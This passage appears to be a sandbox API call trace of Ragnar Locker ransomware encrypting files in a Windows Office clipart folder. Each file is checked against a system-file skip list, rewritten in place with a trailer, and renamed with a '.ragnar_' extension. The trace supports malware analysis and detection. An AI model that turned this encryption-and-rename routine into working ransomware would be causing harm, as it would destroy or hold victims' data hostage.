(in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4048, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4048, lpOverlapped=0x0) returned 1 [0089.906] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4048, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.906] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.906] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4048, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.906] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.906] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.906] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.906] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.906] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.906] GetProcessHeap () returned 0x580000 [0089.907] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.907] CloseHandle (hObject=0xf4) returned 1 [0089.907] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF" [0089.907] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF.ragnar_FD7BD9FC" [0089.907] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.910] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf15a1100, ftCreationTime.dwHighDateTime=0x1bd4e4a, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf15a1100, ftLastWriteTime.dwHighDateTime=0x1bd4e4a, nFileSizeHigh=0x0, nFileSizeLow=0x629, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH00601G.GIF", cAlternateFileName="")) returned 1 [0089.910] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.910] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH00601G.GIF" | out: lpString1="PH00601G.GIF") returned="PH00601G.GIF" [0089.910] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF") returned=".GIF" [0089.910] lstrcmpiW (lpString1="PH00601G.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.910] lstrcmpiW (lpString1="PH00601G.GIF", lpString2="autorun.inf") returned 1 [0089.910] lstrcmpiW (lpString1="PH00601G.GIF", lpString2="boot.ini") returned 1 [0089.910] lstrcmpiW (lpString1="PH00601G.GIF", lpString2="bootfont.bin") returned 1 [0089.910] lstrcmpiW (lpString1="PH00601G.GIF", lpString2="bootsect.bak") returned 1 [0089.910] lstrcmpiW (lpString1="PH00601G.GIF", lpString2="bootmgr") returned 1 [0089.910] lstrcmpiW (lpString1="PH00601G.GIF", lpString2="bootmgr.efi") returned 1 [0089.910] lstrcmpiW (lpString1="PH00601G.GIF", lpString2="bootmgfw.efi") returned 1 [0089.910] lstrcmpiW (lpString1="PH00601G.GIF", lpString2="desktop.ini") returned 1 [0089.910] lstrcmpiW (lpString1="PH00601G.GIF", lpString2="iconcache.db") returned 1 [0089.910] lstrcmpiW (lpString1="PH00601G.GIF", lpString2="ntldr") returned 1 [0089.910] lstrcmpiW (lpString1="PH00601G.GIF", lpString2="ntuser.dat") returned 1 [0089.910] lstrcmpiW (lpString1="PH00601G.GIF", lpString2="ntuser.dat.log") returned 1 [0089.910] lstrcmpiW (lpString1="PH00601G.GIF", lpString2="ntuser.ini") returned 1 [0089.910] lstrcmpiW (lpString1="PH00601G.GIF", lpString2="thumbs.db") returned -1 [0089.910] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0089.911] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0089.911] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0089.911] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0089.911] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0089.911] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0089.911] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0089.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif")) returned 0x20 [0089.911] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.911] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1577) returned 1 [0089.911] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x620, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.911] GetProcessHeap () returned 0x580000 [0089.912] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.912] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.913] VirtualAlloc (lpAddress=0x0, dwSize=0x629, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.913] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.913] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.913] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x629, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x629, lpOverlapped=0x0) returned 1 [0089.913] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.913] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x629, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.913] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x629, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x629, lpOverlapped=0x0) returned 1 [0089.914] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x629, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.914] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.914] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x629, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.914] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.914] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.914] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.914] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.914] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.914] GetProcessHeap () returned 0x580000 [0089.914] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.914] CloseHandle (hObject=0xf4) returned 1 [0089.914] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF" [0089.914] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF.ragnar_FD7BD9FC" [0089.914] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.915] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe86e3d00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe86e3d00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x8628, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH00780U.BMP", cAlternateFileName="")) returned 1 [0089.915] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.915] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH00780U.BMP" | out: lpString1="PH00780U.BMP") returned="PH00780U.BMP" [0089.915] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP") returned=".BMP" [0089.915] lstrcmpiW (lpString1="PH00780U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.915] lstrcmpiW (lpString1="PH00780U.BMP", lpString2="autorun.inf") returned 1 [0089.915] lstrcmpiW (lpString1="PH00780U.BMP", lpString2="boot.ini") returned 1 [0089.915] lstrcmpiW (lpString1="PH00780U.BMP", lpString2="bootfont.bin") returned 1 [0089.915] lstrcmpiW (lpString1="PH00780U.BMP", lpString2="bootsect.bak") returned 1 [0089.915] lstrcmpiW (lpString1="PH00780U.BMP", lpString2="bootmgr") returned 1 [0089.915] lstrcmpiW (lpString1="PH00780U.BMP", lpString2="bootmgr.efi") returned 1 [0089.915] lstrcmpiW (lpString1="PH00780U.BMP", lpString2="bootmgfw.efi") returned 1 [0089.915] lstrcmpiW (lpString1="PH00780U.BMP", lpString2="desktop.ini") returned 1 [0089.915] lstrcmpiW (lpString1="PH00780U.BMP", lpString2="iconcache.db") returned 1 [0089.915] lstrcmpiW (lpString1="PH00780U.BMP", lpString2="ntldr") returned 1 [0089.916] lstrcmpiW (lpString1="PH00780U.BMP", lpString2="ntuser.dat") returned 1 [0089.916] lstrcmpiW (lpString1="PH00780U.BMP", lpString2="ntuser.dat.log") returned 1 [0089.916] lstrcmpiW (lpString1="PH00780U.BMP", lpString2="ntuser.ini") returned 1 [0089.916] lstrcmpiW (lpString1="PH00780U.BMP", lpString2="thumbs.db") returned -1 [0089.916] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0089.916] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0089.916] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0089.916] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0089.916] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0089.916] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0089.916] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0089.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp")) returned 0x20 [0089.916] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.916] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=34344) returned 1 [0089.916] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x861f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.916] GetProcessHeap () returned 0x580000 [0089.916] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.916] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.918] VirtualAlloc (lpAddress=0x0, dwSize=0x8628, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.918] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.918] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.918] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8628, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8628, lpOverlapped=0x0) returned 1 [0089.920] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.920] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8628, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.920] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8628, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8628, lpOverlapped=0x0) returned 1 [0089.920] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8628, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.920] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.920] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8628, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.921] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.921] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.921] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.921] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.921] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.921] GetProcessHeap () returned 0x580000 [0089.921] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.921] CloseHandle (hObject=0xf4) returned 1 [0089.921] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP" [0089.921] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP.ragnar_FD7BD9FC" [0089.921] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.922] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c100, ftCreationTime.dwHighDateTime=0x1bd4e55, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x45c100, ftLastWriteTime.dwHighDateTime=0x1bd4e55, nFileSizeHigh=0x0, nFileSizeLow=0x7e90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01035U.BMP", cAlternateFileName="")) returned 1 [0089.922] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.922] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH01035U.BMP" | out: lpString1="PH01035U.BMP") returned="PH01035U.BMP" [0089.922] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP") returned=".BMP" [0089.922] lstrcmpiW (lpString1="PH01035U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.922] lstrcmpiW (lpString1="PH01035U.BMP", lpString2="autorun.inf") returned 1 [0089.922] lstrcmpiW (lpString1="PH01035U.BMP", lpString2="boot.ini") returned 1 [0089.922] lstrcmpiW (lpString1="PH01035U.BMP", lpString2="bootfont.bin") returned 1 [0089.922] lstrcmpiW (lpString1="PH01035U.BMP", lpString2="bootsect.bak") returned 1 [0089.922] lstrcmpiW (lpString1="PH01035U.BMP", lpString2="bootmgr") returned 1 [0089.922] lstrcmpiW (lpString1="PH01035U.BMP", lpString2="bootmgr.efi") returned 1 [0089.922] lstrcmpiW (lpString1="PH01035U.BMP", lpString2="bootmgfw.efi") returned 1 [0089.922] lstrcmpiW (lpString1="PH01035U.BMP", lpString2="desktop.ini") returned 1 [0089.922] lstrcmpiW (lpString1="PH01035U.BMP", lpString2="iconcache.db") returned 1 [0089.922] lstrcmpiW (lpString1="PH01035U.BMP", lpString2="ntldr") returned 1 [0089.922] lstrcmpiW (lpString1="PH01035U.BMP", lpString2="ntuser.dat") returned 1 [0089.922] lstrcmpiW (lpString1="PH01035U.BMP", lpString2="ntuser.dat.log") returned 1 [0089.922] lstrcmpiW (lpString1="PH01035U.BMP", lpString2="ntuser.ini") returned 1 [0089.922] lstrcmpiW (lpString1="PH01035U.BMP", lpString2="thumbs.db") returned -1 [0089.922] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0089.922] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0089.922] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0089.922] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0089.922] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0089.922] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0089.922] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0089.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp")) returned 0x20 [0089.923] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.924] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=32400) returned 1 [0089.924] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7e87, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.924] GetProcessHeap () returned 0x580000 [0089.924] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.924] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.925] VirtualAlloc (lpAddress=0x0, dwSize=0x7e90, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.925] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.926] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.926] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7e90, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7e90, lpOverlapped=0x0) returned 1 [0089.927] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.927] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7e90, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.927] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7e90, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7e90, lpOverlapped=0x0) returned 1 [0089.927] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7e90, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.927] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.928] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7e90, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.928] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.928] WriteFile (in: 